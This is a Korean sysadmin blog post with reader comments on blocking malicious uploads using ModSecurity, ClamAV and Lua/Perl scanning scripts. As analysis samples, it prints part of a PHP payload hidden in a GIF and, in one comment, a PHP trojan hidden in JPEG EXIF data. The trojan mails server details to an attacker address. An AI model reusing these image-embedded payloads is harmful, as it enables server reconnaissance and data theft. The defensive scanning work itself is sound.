출처 : https://purehacking.com/portal/index.php?q=node/26

원제 : Virus Detection in ModSecurity


modsecurity & clamav를 이용한 업로드파일 검사를 이전에 포스팅 했었는데 이번엔 lua 스크립트를 이용한 방법을

소개합니다. 위에서 소개한 방법에서 perl 스크립트에서 lua 스크립트를 이용하고 apachesecurity.net에서 제공하는

blacklist를 이용, 바이러스를 업로드한 ip를 blacklist 처리하는 방식의 동작을 하게됩니다.


lua 스크립트를 이용하기 위한 modsecurity rule

  1. SecRule FILES_TMPNAMES "@inspectFile /opt/modsecurity/bin/modsec-clamscan.lua" 
  2. "phase:2,t:none,log,deny"


적용전 확인해야 될 사항

1. clamscan이 아닌 clamdscan을 이용함 ( clamdscan을 이용하면 이미 떠 있는 clamd 데몬에 접근을 하게 되어 매번

바이러스 검사시에 생길 수 있는 필요없는 부하를 줄일 수 있습니다)

2. clamav유저를 apache (웹서버) 그룹에 포함 시킴

3. SecUploadFileMode direction을 0640으로 설정해 그룹이 접근 가능하게 함

4. blacklist를 이용해 해당 ip를 일정시간 차단함


lua 스크립트의 내용은 아래와 같습니다.

  1. --[[
  2.   This script can be used to inspect uploaded files for viruses
  3.   via ClamAV. To implement, use with the following ModSecurity rule:

  4.   SecRule FILES_TMPNAMES "@inspectFile /opt/modsecurity/bin/modsec-clamscan.lua" 
  5. "phase:2,t:none,log,deny"

  6.   Author: Josh Amishav-Zlatin
  7.   Requires the clamav-daemon and liblua5.1-rex-pcre0 Debian packages (or other
  8.   OS equivalent)
  9. ]]--
  10.  
  11. function main(filename)
  12.   local rex = require "rex_pcre"
  13.   local remote_addr = m.getvar("REMOTE_ADDR"); -- Retrieve remote IP address
  14.  
  15.   -- Configure paths
  16.   local clamscan  = "/usr/bin/clamdscan"
  17.   local blacklist = "/opt/modsecurity/bin/blacklist"
  18.   local duration  = "3600"
  19.  
  20.   -- The system command we want to call
  21.   local cmd = clamscan .. " --stdout --disable-summary"
  22.  
  23.   -- Run the command and get the output
  24.   local f = io.popen(cmd .. " " .. filename)
  25.   local l = f:read("*a")
  26.   m.log(9, l)
  27.  
  28.   -- Check the output for the FOUND or ERROR strings which indicate
  29.   -- an issue we want to block access on
  30.   local isVuln = rex.match(l, "FOUND")
  31.   local isError = rex.match(l, "ERROR")
  32.  
  33.   if isVuln ~= nil then
  34.     local b = io.popen(blacklist .. " block " .. remote_addr .. " " ..  duration)
  35.     return "Virus Detected"
  36.   elseif isError ~= nil then 
  37.     return "Error Detected"
  38.   else
  39.     return nil
  40.   end
  41. end
  42.  

lua 스크립트를 불러오는 rule은 적절히 수정해 사용하시면 되겠습니다. 당연한 얘기지만 좀더 정확한 이해와 적용을

위해서는 원문을 꼭 읽어보시기를 권합니다.


기존의 perl 스크립트를 이용한 modsecurity & clamav를 이용한 업로드파일 검사와 어떤 차이점이 있는지

시간나는대로 테스트 해보고 결과(?)를 알려드리겠습니다 :)

clamav 0.95  UpgradeNotes
https://wiki.clamav.net/Main/UpgradeNotes095

clamd-milter 0.95부터 clamd-milter가 완전히 다시 작성되었다고 합니다. 즉 기존의 소스가 아닌 새로운 거라는 거겠죠?
덕분에 잘쓰던 smc-milter (여러 기능중 clamd-milter의 기능도 있음)가 clamd를 0.95 업데이트 한뒤로 clamd와 연동해
바이러스를 검색해주는 기능이 작동하지 않더군요. 그래서 현재 clamd-milter를 설치해 사용중입니다. sendmail-milter도
여러개 사용할 경우 sendmail.mc에서 우선순위나 기타 여러가지 고려해야 될것들이 많이 있습니다.
여러종류를 사용할수록 설정이 복잡해집니다. emoticon
clamav의 기능을 사용하는 다른프로그램들도 새버전이 나와야 정상 동작을 할듯 합니다.
기타 자세한 정보는 아래 관련링크를 참고하세요.


관련링크 :
http://clam-av.blogspot.com/2009/01/new-clamav-milter-for-clamav-095.html
https://wiki.clamav.net/Main/UpgradeNotes095
http://wiki.clamav.net/Main/UpgradeInstructions

'News' 카테고리의 다른 글

Samba 3.4.0pre2 Release  (1) 2009.06.03
CentOS-5.3 i386 Live CD released  (0) 2009.05.28
ClamAV 0.95.1 Release  (0) 2009.04.14
CentOS-5.3 Release  (8) 2009.04.01
ProFTPD 1.3.2-2 kr version release  (0) 2009.03.29
ModSecurity 2.5.9 release  (0) 2009.03.13
먼저 modsecurity와 clamav가 설치되어 있고 정상 작동한다는 조건을 만족해야 합니다.

( modsecurity with clamav )

modsecurity 1.x대는 현재 더이상 지원되지 않으니 2.x대를 사용하시기 바랍니다.

이 글은 modsecurity 2.x대를 기준으로 작성 되었습니다.

요즘 빈번히 발생하는 web application의 remote inclusion공격에 사용되는 방법중 하나가 업로드시 확장자 체크를
피해(보통 php파일은 업로드를 제한하는 경우가 많으니 확장자를 jpg, txt등으로 변경하거나 gif등의 이미지안에
php코드를 삽입)공격하게 되는데 업로드 되는 파일 또는 이미지를 clamav를 이용해 검사하게 되면 좀더 안전한
웹서버 운영이 될것으로 보입니다. 특히 clamav의 경우는 기타 다른 백신들보다 php관련 프로그램들에 대한
검출 능력이 뛰어나고 검사 가능한 범위도 넓습니다. php의 shell_exec나 passthru공격에 대한 대비책으로
적당해 보입니다.


modsecurity 1.9.3 이상부터 사용가능한SecUploadApproveScript 지시자 (2.x대에서는 SecRule FILES_TMPNAMES
지시자를 사용해야 합니다)를 이용해 업로드 파일을 검사할수 있습니다.


modsecurity rule파일에 다음 부분을 추가

SecUploadDir /tmp/file_upload_dir #업로드파일이 위치할 디렉토리 - 변경가능
SecTmpDir /tmp/temporary_file_dir #임시 파일이 위치할 디렉토리 - 변경가능
SecRule FILES_TMPNAMES "@inspectFile /usr/bin/modsec-clamscan.pl"
  "t:none,phase:2,log,auditlog,deny,status:406"

status code, log, auditlog 설정여부는 사용자의 설정에 맞게 변경할수 있습니다.
modsec-clamscan.pl파일은 아래링크를 누르면 볼수 있습니다. 또한 첨부파일로 받을 수 있습니다.
파일의 위치는 위의 설정대로 /usr/bin에 저장하거나 위의 설정을 변경했다면  해당위치로 변경하면 됩니다.


 
#!/usr/bin/perl
#
# modsec-clamscan.pl
# ModSecurity for Apache (http://www.modsecurity.org)
# Copyright (c) 2002-2007 Breach Security, Inc. (http://www.breach.com)
#
# This script is an interface between mod_security and its
# ability to intercept files being uploaded through the
# web server, and ClamAV

# by default use the command-line version of ClamAV,
# which is slower but more likely to work out of the
# box
$CLAMSCAN = "/usr/bin/clamscan";

# using ClamAV in daemon mode is faster since the
# anti-virus engine is already running, but you also
# need to configure file permissions to allow ClamAV,
# usually running as a user other than the one Apache
# is running as, to access the files
# $CLAMSCAN = "/usr/bin/clamdscan";

if (@ARGV != 1) {
print "Usage: modsec-clamscan.pl <filename>n";
exit;
}

my ($FILE) = @ARGV;

$cmd = "$CLAMSCAN --stdout --disable-summary $FILE";
$input = `$cmd`;
$input =~ m/^(.+)/;
$error_message = $1;

$output = "0 Unable to parse clamscan output [$1]";

if ($error_message =~ m/: Empty file.?$/) {
$output = "1 empty file";
}
elsif ($error_message =~ m/: (.+) ERROR$/) {
$output = "0 clamscan: $1";
}
elsif ($error_message =~ m/: (.+) FOUND$/) {
$output = "0 clamscan: $1";
}
elsif ($error_message =~ m/: OK$/) {
$output = "1 clamscan: OK";
}

print "$outputn";


테스트에 사용된 파일은 gif98a형식의 헤더를 가지고 있지만 PHP코드가 embed되어 있는
(clamav 진단명: Exploit.Gif.PHPembedded)파일입니다. 파일을 열어보면 아래처럼 보입니다.

 GIF89aY???????EUR???EUR?EUREUR???EUREUR?EUR?EUREUREUREUREUR?????????????????????
??^H??^_^H^H??^H^S*활좧??^^J|^Pq줓?^X3N촪'!?^_;^^^L?dI"^WGj4H2cK?^XU??&?
<?php^M
$dir = @getcwd();$UNAME = @php_uname();$safemode=@ini_get('safe_mode');if
gif 헤더아래 php 코드가 보이는군요. 이제 이파일을 업로드를 해보겠습니다.


해당파일을 게시판에 업로드를 시도 하니 apache error log에 다음과 같은 로그가 남았습니다.
(필요한 정보외 다른정보는 짧게 줄였습니다 Array )
[Sun May 25 22:22:07 2008] [error] [client ... ] ModSecurity: Access denied with code 406 (phase 2). File "/file_location/20080525-..." rejected by the approver script "/usr/bin/modsec-clamscan.pl": 0 clamscan: Exploit.Gif.PHPembedded [hostname "free4u.wo.tc"] [uri "file_upload_script"] [unique_id "..."]
그리고 파일업로드가 되지 않습니다. 정확히는 modsecurity가 업로드를 거부하게 됩니다. modsec_audit log를 보면
클라이언트와 서버간의 헤더정보와 좀더 자세한 로그를 볼수 있습니다.

clamav를 사용한 업로드 파일 검사시 파일이 크거나 할 경우 서버의 cpu자원을 많이 점유할수 있으니 그부분은
업로드 파일 크기를 제한 하거나 clamav설정에서 검사할 최대 파일 크기를 설정하는 등의 방법이 필요할 것으로
보입니다.


첨부파일은 modsecurity 1.9.5에 포함된 modsec-clamscan.pl파일이고 modsecurity 2.x대에도 그대로
사용할수 있습니다.



2008.12.03 추가
modsec-clamscan.pl파일에서 

$CLAMSCAN = "/usr/bin/clamscan";

부분중 clamscan을
clamdscan으로 변경하면 이미 떠있는 clamd 데몬에 직접연결해 파일을 스캔하기때문에 검사속도가
비약적으로(?) 향상 됩니다. 이서버가 사양이 좋지 않아(?) clamscan으로 설정시 오래 걸리던 검색시간이
몇초 내외로 단축되었습니다. 다만 정확한 설정이 필요하고 자세한 로그가 남지 않기때문에 문제 발생시 쉽게
대처하기가 어려울수 있습니다.(수차례 테스트 결과 apache유저가 clamd.conf파일을 읽을수 있어야
clamdscan이 동작했습니다.
) clamdscan으로 변경시 업로드가 실패 또는 거부될경우 SecDebugLogLevel을 높게
설정한뒤 테스트 해보기시 바랍니다 :)

  1. 질문자 2008.11.07 11:38

    httpd-2.2.8-3.i386mod_security-2.1.6-1.fc9.i386에서 구현을 하는데요직접실행하여/usr/local/bin/modsec-clamscan.pl ./testfile~~~~~1 clamscan: OK나고 나오는데&nbsp;웹쪽에서는[Fri Nov 07 11:24:09 2008] [error] [client 192.168.187.1] ModSecurity: Access denied with code 406 (phase 2). File "/tmp/20081107-112408-G 6@E6H8AAAEAABhuM-MAAAAE-file-esgCo1" rejected by the approver script "/usr/local/bin/modsec-clamscan.pl": 0 Unable to parse clamscan output [] [hostname "XXXXXXXX"] [uri "/v250/write_ok.php"] [unique_id "G6@E6H8AAAEAABhuM-MAAAAE"]이렇게 나옵니다 왜 파싱이 안 될까요?

  2. Favicon of http://free4u.dnip.net/ EcusE 2008.11.07 11:59

    mod_security-2.1.6-1.fc9.i386 파일명을 보니 fedora를 사용중이신것 같은데 selinux 사용여부도 변수가 될수 있습니다.testfile은 root로 스캔을 실행하신거고 apache 유저의 권한으로 실행을 못한것일수도 있습니다.modsecurity에서 debug로그를 남기게 하고 SecDebugLogLevel을 3정도로 주고 테스트후 남은 로그를 확인해보세요.그리고 modsecurity 2.1.x는 더이상 지원되지 않습니다. 2.5.x대로 업데이트 하시는것이 좋겠네요.

  3. Favicon of http://free4u.wo.tc/ EcusE 2009.07.15 00:38

    웹서버로그에 남은 기록중 특정부분을 점검하다가 새로운 녀석(php injection)이 발견되어 포스팅 합니다.아래파일은 kaspersky antivirus 진단명 Trojan.spy.agent.a이고 jpg의 exif부분에 php코드를 넣은것으로 보입니다.서버os의 자세한 정보를 자기 메일로 보내게 해뒀네요. .....JFIF..........Exif..II*.............C.$.' ",#^^(7),01444^'9=82&lt;.342...C^&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ^^^^^^^2!^!22222222222222222222222222222222222222222222222222...^^.d.V^^^^^^%&amp;'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz............................................................................^....^.^^^^^^^^^^^.^^w.^^^^^^!1^^AQ^aq^"2.^^B....&nbsp;&nbsp;&nbsp; #3R.^br.이하생략........function ConvertBytes($number) {$len = strlen($number);if($len &lt; 4) {return sprintf("%d b", $number); }if($len &gt;= 4 &amp;&amp; $len &lt;=6) {return sprintf("%0.2f Kb", $number/1024); }if($len &gt;= 7 &amp;&amp; $len &lt;=9) {return sprintf("%0.2f Mb", $number/1024/1024); }return sprintf("%0.2f Gb", $number/1024/1024/1024); }&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo "bhlcrew&lt;br&gt;";$un = @php_uname();$pwd1 = @getcwd();$free1= diskfreespace($pwd1);$free = ConvertBytes(diskfreespace($pwd1));if (!$free) {$free = 0;}$all1= disk_total_space($pwd1);$all = ConvertBytes(disk_total_space($pwd1));if (!$all) {$all = 0;}$used = ConvertBytes($all1-$free1);$os = @PHP_OS;echo "bhlcrew was here ..&lt;br&gt;";echo "uname -a: $un&lt;br&gt;";echo "os: $os&lt;br&gt;";echo "free: $free&lt;br&gt;";echo "used: $used&lt;br&gt;";echo "total: $all&lt;br&gt;";$stat = $_POST['stat'];if ($stat=="ok";) {} else {$web = $_SERVER["HTTP_HOST"];$fie = $_SERVER["SCRIPT_NAME"];$injeck = $_SERVER["REQUEST_URI"];$os = @PHP_OS;$un = @php_uname();$usr = $REMOTE_ADDR;$body = "Target dari: $usrnn INFO:nnuname -a: $unnos: $osnnHASIL SCANAN:nhttp://$web$injeck nnnAnakDompu";mail("shinchi.censored.cakep @gmail.com","Hasil Scan[ $web - $os ][ $usr ]","$body";);}exit;

  4. Favicon of http://hosting.digimoon.net 디지문 2010.02.24 21:49

    mod_security 1.9.x에 clamav를 연동해 보려는데 잘 안 되는군요.
    clamav는 yum으로 설치한 rpm 패키지로 동작 중입니다.
    qmail + vpopmail 체제에 clamav를 연동한 부분은 잘 작동하고 있습니다. 바이러스가 첨부된 메일을 받으면 잘 걸러내고요.
    mod_security.conf 파일에 추가해 주어야 할 정확한 설정에 대해 알려주시면 감사하겠습니다.
    지금 추가해 놓은 설정은 아래와 같습니다.
    &nbsp;
    SecUploadDir /tmpSecUploadApproveScript "/usr/bin/modsec-clamscan.pl"SecUploadKeepFiles On[root@localhost ~]# ls -lh /usr/bin/modsec-clamscan.pl-rwxr-xr-x 1 root root 1.4K&nbsp; 2월 23 23:11 /usr/bin/modsec-clamscan.pl[root@localhost ~]#바이러스 샘플은 아래 정보 참고하여 만들어 업로드 테스트해 보았습니다.
    http://mydoc.digimoon.net/board/zboard.php?id=board&amp;page=1&amp;sn1=&amp;divpage=1&amp;sn=off&amp;ss=on&amp;sc=on&amp;select_arrange=headnum&amp;desc=asc&amp;no=260

  5. Favicon of http://free4u.wo.tc/ EcusE 2010.02.24 23:58

    modsecurity 1.9버전때 사용하던 설정파일을 찾아봐야 할것 같습니다.
    이서버에는 modsecurity 2.5.x가 설치되어 있어서 테스트가 쉽지 않아서 가성머신에 centos를 설치해
    modsecurity 1.9를 설정후 테스트 해보고 내일정도(?)에 자세한 내용을 알려드리겠습니다.지금 점검해봐야 할만한 부분은 apache또는 modsecurity에 관련 로그가 남았는가를 먼저 확인해 봐야할것 같습니다. 또한 apache의 chroot운영여부, modsec-clamscan.pl파일내의 clamscan, clamdscan의 경로 확인등이 필요합니다.우선 clamd와 modsec-clamscan.pl파일이 제대로 동작하는지 확인을 위해서&nbsp; 쉘상에서 직접 modsec-clamscan.pl을 실행시켜보세요. Eicar-Test 바이러스 시그니처를 검사해볼 수 있습니다../modsec-clamscan.pl /tmp/Eicar.test0 clamscan: Eicar-Test-Signature[root@free4u bin]#위처럼 나온다면 modsecurity와 clamd를 연결해주는 modsec-clamscan.pl은 문제가 없는것이겠죠.

  6. Favicon of http://hosting.digimoon.net 디지문 2010.02.25 00:43

    아래와 같습니다.
    &nbsp;
    [root@localhost ~]# /usr/bin/modsec-clamscan.pl ./aaa.exeWARNING: Ignoring deprecated option --disable-summary0 clamscan: Eicar-Test-Signature[root@localhost ~]#

  7. Favicon of http://free4u.wo.tc/ EcusE 2010.02.25 21:02

    가상머신에 테스트해보려니 시간이 더 걸릴거같아 이서버에 별도의&nbsp; apache 2.x, php, modsecurity 1.9.5를설치하고 테스트 해봤습니다. 테스트결과 필터링이 잘 됩니다.httpd.conf파일내 설정내용&nbsp;LoadModule security_module&nbsp;&nbsp;&nbsp; modules/mod_security.so&lt;IfModule
    mod_security.c&gt;include conf/modsecurity/modsecurity.conf&lt;/IfModule&gt;modsecurity.conf 설정내용 (1.9대 사용하던 설정파일이 없어 배포버전에 포함된 샘플 설정을 사용했습니다.)&nbsp;SecFilterEngine OnSecFilterDefaultAction "deny,log,status:403"
    SecFilterScanPOST OnSecFilterCheckURLEncoding OnSecFilterCheckUnicodeEncoding
    OffSecFilterForceByteRange 1 255SecUploadDir /tmpSecUploadKeepFiles
    OffSecUploadApproveScript /usr/bin/modsec-clamscan.plSecAuditEngine RelevantOnlySecAuditLog logs/modsec_audit.logSecFilterDebugLevel
    2SecFilterDebugLog logs/modsec_debug.logSecFilterSelective
    REQUEST_METHOD "!^(GET|HEAD)$" chainSecFilterSelective
    HTTP_Content-Type
    "!(^application/x-www-form-urlencoded$|^multipart/form-data;)"SecFilterSelective
    REQUEST_METHOD "^(GET|HEAD)$" chainSecFilterSelective
    HTTP_Content-Length "!^$"SecFilterSelective REQUEST_METHOD
    "^POST$" chainSecFilterSelective HTTP_Content-Length "^$"SecFilterSelective
    HTTP_Transfer-Encoding "!^$"아래는 apache, modsecurity로그입니다. Eicar.test파일로 테스했습니다. 필요한 정보외엔 짧게 줄였습니다.apache error log&nbsp;[Thu Feb 25 20:46:17 2010] [error] [client 192.168.0.2] mod_security:
    Access denied with code 403. Error verifying files: File
    "/tmp/20100225-204615-Eicar.test" rejected by the approver script "/usr/bin/modsec-clamscan.pl"
    [severity "EMERGENCY"] [hostname "free4u.wo.tc"]modsecurity audit log==25d4407a==============================Request: free4u.wo.tc&nbsp; -
    [25/Feb/2010:20:46:17 +0900] "POST /test.php HTTP/1.1" 403 217 Handler:
    application/x-httpd-php----------------------------------------POST
    /test.php HTTP/1.1User-Agent: Host: free4u.wo.tcmod_security-message:
    Access denied with code 403. Error verifying files: File
    "/tmp/20100225-204615-Eicar.test" rejected by the approver script
    "/usr/bin/modsec-clamscan.pl" [severity "EMERGENCY"]
    mod_security-action: 403HTTP/1.1 403 Forbidden 여전히 필터링이 안되고 있다면 modsec-clamscan.pl파일에서 clamscan을 사용했는지 clamdscsn을 사용했는지 여부와 설정파일 내용을 올려보세요.

  8. Favicon of http://hosting.digimoon.net 디지문 2010.02.26 01:25

    휴~ 아무리 해봐도 안 되네요. 지쳐 갑니다... ㅜ,.ㅜ;;
    SecFilterScanPOST 옵션은 원래 Off로 해놓고 쓰고 있었습니다. 이걸 On으로 바꾸면 업로드가 안 됩니다. modsec-clamscan.pl 파일 설정 유무와는 관계없이요.
    제가 쓰는 mod_security 파일을 첨부해서 올립니다.
    그리고 mod_security 설정 외에 본 문서 내용에 관여된 clamav 관련 파일의 소유권 및 허가권 설정도 어떻게 되어야 하는지 부탁드립니다.
    &nbsp;/usr/bin/modsec-clamscan.pl 파일 내용은 소개해주신 것과 동일하되 $CLAMSCAN = "/usr/bin/clamdscan"; 을 참고토록 수정했고요.
    /etc/clamd.conf 파일을 아파치가 참고할 수 있어야 한다길래 nobody 소유권도 주었습니다.
    [root@localhost conf]# ls -l /etc/clamd.conf-rw-r--r-- 1 nobody nobody 11417&nbsp; 1월 27 03:56 /etc/clamd.conf[root@localhost conf]#

  9. EcusE 2010.02.26 15:55

    대부분 업로드는 POST를 이용하는것으로 알고 있습니다. 그리고 SecFilterScanPOST를 켜면 업로드가 안되는 부분 자체도 좀더 자세한 로그가 필요합니다. 또한 SecFilterScanPOST를 켜야 POST로 업로드 되는것을 필터링 할겁니다. 업로드 테스트에 사용된 프로그램(xe, tt등등)의 종류도 알려주세요. 저의 경우 apache역시 chroot환경으로 운영되기 때문에 일반적인 환경과는 약간(?) 다를 수 있습니다. modsec-clamscan.pl도 원래 clamscan으로 바꿔보시고 (어떤게 문제인지 알수없는 상태이기때문에) SecFilterScanPOST도 켜보세요.실제 운영중이라 문제가 된다면 별도로 apache를 설치해서 기존 apache와 다른 포트로 실행해서 테스트해볼 수 있습니다. 제가 그 방법으로 테스트를 했습니다. 원인이 파악이 잘 안될때는 모든 설정을기본값으로 변경후 테스트 해보는게 도움이 될 수도 있습니다.

  10. Favicon of http://hosting.digimoon.net 디지문 2010.02.27 23:12

    끝이 안 나는 삽질의 연속입니다.
    얼추 파악되는 바로는 modsec-clamscan.pl 스크립트 연동에 앞서 mod_security.conf 파일의&nbsp;SecFilterScanPOST 옵션이 제 기능을 하는지 여부를 먼저 해결해야 하겠다는 생각입니다.
    On으로 하면 clamav 연동 여부를 떠나서 업로드 다 실패합니다.
    On으로 하고 XE에서 파일첨부를 하면 웹방화벽 로그엔 아래와 같이 남습니다.
    ==d7a5710f==============================Request: hosting.digimoon.wo.tc 192.168.0.254 - - [27/Feb/2010:22:59:57 +0900] "POST /board/ HTTP/1.1" 403 282 "-" "Shockwave Flash" bkUNpsCoAGQAAE-9Fo0AAAAU "-"----------------------------------------POST /board/ HTTP/1.1Accept: text/*Content-Type: multipart/form-data; boundary=----------gL6gL6gL6ei4ae0ae0KM7gL6GI3ae0User-Agent: Shockwave FlashHost: hosting.digimoon.wo.tcContent-Length: 9327481Connection: Keep-AliveCache-Control: no-cacheCookie: PHPSESSID=9fb6c1a612d1aa18d6ceea3f1f5bf737mod_security-message: Access denied with code 403. Error processing request body: Multipart: final boundary missing [severity "EMERGENCY"]mod_security-action: 403
    28[POST payload not available]
    HTTP/1.1 403 ForbiddenContent-Length: 282Keep-Alive: timeout=15, max=999999Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1--d7a5710f--
    &nbsp;
    그리고 파일 첨부 실패하면서 아래와 같은 에러 팝업창이 뜹니다.

  11. EcusE 2010.02.27 23:35

    xe에서 flash를 이용해 업로드를 하는데 request body가 제대로 구성이 안되었거나 또는 파일업로드가 완료되지 않았을때(여러개의 파일 업로드가 가능하게 되는 과정에서(?) 나타나는 메세지라고 합니다) 나타나는듯 합니다.board 디렉토리가 xe가 설치된 디렉토리라면 해당 디렉토리에서만 SecFilterScanPOST를 끄도록 modsecurity.conf에서 아래처럼 설정해보시고&nbsp; 테스트한번 해보세요.&lt;Location /board&gt;SecFilterScanPOST Off&lt;/Location&gt;전에도 제가 물어본 적이 있던것 같은데 modsecurity 2.5대로 이사하시는것이 어떨까요? 그럼 저도 한결 쉽게(?) 답변해드릴 수 있을것 같은데요 :)

+ Recent posts